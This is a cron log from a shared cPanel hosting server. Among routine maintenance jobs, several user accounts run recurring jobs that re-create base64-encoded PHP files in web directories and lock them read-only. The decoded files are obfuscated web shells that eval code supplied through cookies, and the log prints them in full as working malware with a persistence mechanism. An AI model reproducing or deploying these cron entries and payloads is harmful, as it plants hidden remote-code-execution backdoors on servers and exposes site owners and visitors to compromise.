Mar  2 14:19:01 medusa CROND[30963]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:19:01 medusa CROND[30967]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:19:01 medusa CROND[30971]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[19851]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:20:01 medusa CROND[19891]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:20:01 medusa CROND[19936]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:20:01 medusa CROND[20161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:20:01 medusa CROND[20162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:20:01 medusa CROND[20163]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:20:01 medusa CROND[20164]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:20:01 medusa CROND[20167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:20:01 medusa CROND[20168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:20:01 medusa CROND[20177]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20180]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:20:01 medusa CROND[20186]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20187]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:20:01 medusa CROND[20188]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:20:01 medusa CROND[20183]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20196]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20203]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:20:01 medusa CROND[20199]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 14:20:01 medusa CROND[20206]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20218]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20214]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:20:01 medusa CROND[20221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 14:20:01 medusa CROND[20225]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:20:01 medusa CROND[20222]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:20:01 medusa CROND[20232]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 14:20:01 medusa CROND[20213]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 14:20:01 medusa CROND[20219]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:20:01 medusa CROND[20202]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:21:01 medusa CROND[4849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:21:01 medusa CROND[4969]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:21:01 medusa CROND[5016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:21:01 medusa CROND[5021]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:21:01 medusa CROND[5033]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:21:01 medusa CROND[5031]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:21:01 medusa CROND[5034]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:21:01 medusa CROND[5035]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:21:01 medusa CROND[5037]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:21:01 medusa CROND[5041]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:21:01 medusa CROND[5048]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:21:01 medusa CROND[5049]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:21:01 medusa CROND[5051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
